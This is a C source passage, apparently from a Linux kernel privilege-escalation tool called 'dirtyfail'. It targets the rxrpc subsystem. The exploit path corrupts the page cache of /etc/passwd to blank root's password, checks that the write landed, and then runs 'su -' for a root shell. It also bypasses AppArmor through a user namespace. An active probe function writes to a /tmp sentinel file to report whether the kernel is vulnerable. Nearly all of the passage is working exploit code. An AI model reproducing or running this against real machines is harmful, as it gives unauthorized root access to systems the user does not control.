HEXSET("DIRTYFAIL_K_B", Kb);
HEXSET("DIRTYFAIL_K_C", Kc);
#undef HEXSET
setenv("DIRTYFAIL_INNER_MODE", "rxrpc", 1);
int rc = apparmor_bypass_fork_arm(0, NULL);
if (rc != DF_EXPLOIT_OK) {
log_bad("inner exploit failed (exit=%d)", rc);
return DF_EXPLOIT_FAIL;
}
/* Verify in init namespace — page cache is global. */
int v = open("/etc/passwd", O_RDONLY);
if (v < 0) { log_bad("verify open: %s", strerror(errno)); return DF_EXPLOIT_FAIL; }
uint8_t after[16];
ssize_t got = read(v, after, 16);
close(v);
if (got != 16) return DF_EXPLOIT_FAIL;
log_step("/etc/passwd[0..15] now = '%.16s'", (char *)after);
if (after[4] != ':' || after[5] != ':') {
log_bad("page cache not in expected shape; trigger may have missed");
return DF_EXPLOIT_FAIL;
}
log_ok("/etc/passwd page cache: root password field is now empty");
if (!do_shell) {
if (try_revert_passwd_page_cache())
log_ok("page cache reverted (--no-shell)");
else
log_warn("page cache may still be modified — `sudo dirtyfail --cleanup` or reboot");
return DF_EXPLOIT_OK;
}
log_ok("invoking 'su -' in init ns — PAM nullok accepts empty password → REAL ROOT");
execlp("su", "su", "-", (char *)NULL);
log_bad("execlp su: %s", strerror(errno));
return DF_EXPLOIT_FAIL;
}
/* ---- inner ---------------------------------------------------------
*
* Runs in the AA bypass userns. Reads the three K's from
* DIRTYFAIL_K_{A,B,C} env vars, fires three do_one_trigger calls.
* The fcrypt brute force itself ran in the parent (no caps required).
*/
static bool hex_to_8b(const char *hex, uint8_t out[8])
{
if (!hex || strlen(hex) != 16) return false;
for (int i = 0; i < 8; i++) {
unsigned int b;
if (sscanf(hex + i*2, "%2x", &b) != 1) return false;
out[i] = (uint8_t)b;
}
return true;
}
df_result_t dirtyfrag_rxrpc_exploit_inner(void)
{
uint8_t Ka[8], Kb[8], Kc[8];
if (!hex_to_8b(getenv("DIRTYFAIL_K_A"), Ka) ||
!hex_to_8b(getenv("DIRTYFAIL_K_B"), Kb) ||
!hex_to_8b(getenv("DIRTYFAIL_K_C"), Kc)) {
log_bad("inner: DIRTYFAIL_K_{A,B,C} not set or invalid");
return DF_TEST_ERROR;
}
/* Autoload rxrpc.ko by opening a dummy AF_RXRPC socket. */
int dummy = socket(AF_RXRPC, SOCK_DGRAM, PF_INET);
if (dummy >= 0) close(dummy);
int t = open("/etc/passwd", O_RDONLY);
if (t < 0) {
log_bad("inner: open passwd: %s", strerror(errno));
return DF_EXPLOIT_FAIL;
}
bool ok = do_one_trigger(t, 4, Ka)
&& do_one_trigger(t, 6, Kb)
&& do_one_trigger(t, 8, Kc);
close(t);
return ok ? DF_EXPLOIT_OK : DF_EXPLOIT_FAIL;
}
/* ---------------------------------------------------------------- *
* Active probe — `--scan --active` path.
*
* Fires ONE forged-handshake trigger against a /tmp sentinel page
* with an arbitrary 8-byte key. We don't try to predict what lands;
* any byte change inside the spliced 8-byte window confirms the
* kernel ran the STORE.
* ---------------------------------------------------------------- */
df_result_t dirtyfrag_rxrpc_active_probe_inner(void)
{
const char *sentinel = getenv("DIRTYFAIL_PROBE_SENTINEL");
if (!sentinel || !*sentinel) {
log_bad("rxrpc-probe: DIRTYFAIL_PROBE_SENTINEL not set");
return DF_TEST_ERROR;
}
int dummy = socket(AF_RXRPC, SOCK_DGRAM, PF_INET);
if (dummy >= 0) close(dummy);
int t = open(sentinel, O_RDONLY);
if (t < 0) {
log_bad("rxrpc-probe: open %s: %s", sentinel, strerror(errno));
return DF_TEST_ERROR;
}
/* Any 8-byte key works for a structural probe — we're not
* recovering plaintext, just confirming the STORE fires. */
static const uint8_t probe_key[8] = {
0xDE, 0xAD, 0xBE, 0xEF, 0x01, 0x23, 0x45, 0x67
};
bool ok = do_one_trigger(t, 0, probe_key);
close(t);
return ok ? DF_EXPLOIT_OK : DF_TEST_ERROR;
}
df_result_t dirtyfrag_rxrpc_active_probe(void)
{
char tmpl[] = "/tmp/dirtyfail-rxrpc-probe.XXXXXX";
int sfd = mkstemp(tmpl);
if (sfd < 0) { log_bad("rxrpc-probe mkstemp: %s", strerror(errno)); return DF_TEST_ERROR; }
unsigned char filler[4096];
memset(filler, 'A', sizeof(filler));
if (write(sfd, filler, sizeof(filler)) != (ssize_t)sizeof(filler)) {
close(sfd); unlink(tmpl); return DF_TEST_ERROR;
}
close(sfd);
/* Fault page in. */
int rfd = open(tmpl, O_RDONLY);
if (rfd < 0) { unlink(tmpl); return DF_TEST_ERROR; }
char tmp[4096];
if (read(rfd, tmp, sizeof(tmp)) != (ssize_t)sizeof(tmp)) {
close(rfd); unlink(tmpl); return DF_TEST_ERROR;
}
close(rfd);
setenv("DIRTYFAIL_INNER_MODE", "rxrpc-probe", 1);
setenv("DIRTYFAIL_PROBE_SENTINEL", tmpl, 1);
int rc = apparmor_bypass_fork_arm(0, NULL);
unsetenv("DIRTYFAIL_INNER_MODE");
unsetenv("DIRTYFAIL_PROBE_SENTINEL");
if (rc == DF_PRECOND_FAIL) { unlink(tmpl); return DF_PRECOND_FAIL; }
if (rc != DF_EXPLOIT_OK) {
log_bad("rxrpc-probe inner failed (exit=%d)", rc);
unlink(tmpl); return DF_TEST_ERROR;
}
rfd = open(tmpl, O_RDONLY);
if (rfd < 0) { unlink(tmpl); return DF_TEST_ERROR; }
unsigned char after[64];
ssize_t got = read(rfd, after, sizeof(after));
close(rfd);
unlink(tmpl);
if (got <= 0) return DF_TEST_ERROR;
/* Look for any byte that differs from the 'A' filler in the first
* 32 bytes (the spliced 8-byte window plus any nearby fallout). */
int first_diff = -1;
for (int i = 0; i < (int)got && i < 32; i++) {
if (after[i] != 'A') { first_diff = i; break; }
}
if (first_diff >= 0) {
log_warn("ACTIVE PROBE rxrpc: STORE landed near offset %d → kernel is VULNERABLE",
first_diff);
return DF_VULNERABLE;
}
log_ok("ACTIVE PROBE rxrpc: page intact — kernel rxrpc path appears patched");
return DF_OK;
}
#else /* not __linux__ */
df_result_t dirtyfrag_rxrpc_exploit(bool do_shell)
{
(void)do_shell;
log_bad("dirtyfrag_rxrpc_exploit: Linux-only");
return DF_TEST_ERROR;
}
df_result_t dirtyfrag_rxrpc_exploit_inner(void)
{
log_bad("dirtyfrag_rxrpc_exploit_inner: Linux-only");
return DF_TEST_ERROR;
}
df_result_t dirtyfrag_rxrpc_active_probe(void)
{
log_bad("dirtyfrag_rxrpc_active_probe: Linux-only");
return DF_TEST_ERROR;
}
df_result_t dirtyfrag_rxrpc_active_probe_inner(void)
{
log_bad("dirtyfrag_rxrpc_active_probe_inner: Linux-only");
return DF_TEST_ERROR;
}
#endif